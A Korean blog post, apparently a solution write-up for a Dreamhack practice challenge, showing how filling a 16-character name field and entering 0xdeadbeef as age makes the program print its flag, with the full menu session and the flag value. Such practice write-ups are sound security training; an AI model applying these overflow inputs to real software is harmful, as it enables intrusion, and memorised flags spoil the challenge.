728x90
str을 정수로 변경하면 어떻게 값이 나오는지 궁금해지기 시작했다
처음부터 여기가 핵심이 된다고 생각했기 때문이다
str(0xdeadbeef)는 정수로 변경하면 (파이썬으로 그 값을 구할 수 있다) 3735928559이다
그런 식으로 순차적으로 값을 넣으면
1. Join
2. Print information
3. GIVE ME FLAG!
>1
Name: AAAAAAAAAAAAAAAA (attack vector)
Age: 3735928559 (attack vector)
1. Join
2. Print information
3. GIVE ME FLAG!
> 3
1. Join
2. Print information
3. GIVE ME FLAG!
> 2
Name: AAAAAAAAAAAAAAAA���DH{a77ae81944bbbe70adb10d98dc191379}
Age: 2147483647
1. Join
2. Print information
3. GIVE ME FLAG!
> TIME OUT
이런 식으로 값이 나오게 된다
*당연히 핵심은 메모리 값을 아무 dummy값도 없이 받아온다는 것이고(여유 없이) 처음에 join을 이용해서 attack vector를 만드는 것이 가능하다는 것이다
네임을 16개 꽉 채우고 age에 str(0xdeadbeef) = 3735928559를 쓰는 것은 그 메모리를 꽉 채우는 것을 의미한다
그 후에 3으로 플래그를 불러오게 되고 정보를 뽑게 되면 (2번)
플래그 값이 나오게 된다
728x90
'호그와트' 카테고리의 다른 글
드림핵 mango를 먹자 (0) | 2022.01.22 |
---|---|
드림핵 session-basic (0) | 2022.01.22 |
웹해킹 26번 문제 (0) | 2022.01.22 |
웹해킹 25번 문제 (0) | 2022.01.22 |
드림핵 read_flag (0) | 2022.01.22 |